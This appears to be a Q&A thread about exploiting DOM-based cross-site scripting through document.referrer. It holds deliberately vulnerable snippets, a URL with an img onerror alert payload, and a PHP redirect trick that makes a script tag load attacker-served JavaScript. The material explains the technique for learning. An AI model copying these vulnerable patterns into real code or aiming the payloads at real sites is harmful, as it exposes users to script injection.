10

A very simple example...

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>

or

<script src="' + document.referrer + '"></script>

I've tried simply sending the request and adding a referrer header, but that doesn't seem to echo onto the page.

  • Perhaps your browser has some integrated "protection" against reflected XSS. – CodesInChaos Aug 27 '14 at 7:56
  • @CodesInChaos I've tried two separate versions of Firefox. Also, I'm not setting the referrer header to anything harmful and it still doesn't work for the first example. – Michael Blake Aug 27 '14 at 8:01
  • @CodesInChaos That always bugs me, but it is spelled "referrer". – Michael Blake Aug 27 '14 at 8:07
  • 1
    actually for me it works both on FF and chrome – aviv Aug 27 '14 at 8:18
  • @aviv I've tried multiple times with Chrome and Firefox with the following page: jsfiddle.net/4zaz1uga and I get the same result every time. – Michael Blake Aug 27 '14 at 8:26
5

Updated browsers will encode the referrer URL.

So your examples will not work to trigger XSS nowadays.

Try this:

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);
</script>

JSFIDDLE:

http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?

2

The following code is vulnerable to DOM based XSS, because the attacker-controlled value of document.referrer is tracked by the browser:

<script src="' + document.referrer + '"></script>

The code above can be exploited using a page that upon first load redirects the browser to your target, on the 2nd load it returns an XSS payload. One way of doing this is checking the referer on the server-side:

<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
   print "alert('xss')";
}else{
   header("location: http://target.com/xss")
}
?>

When the page http://target.com/xss loads, javascript from document.referer it will load alert('xss').

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.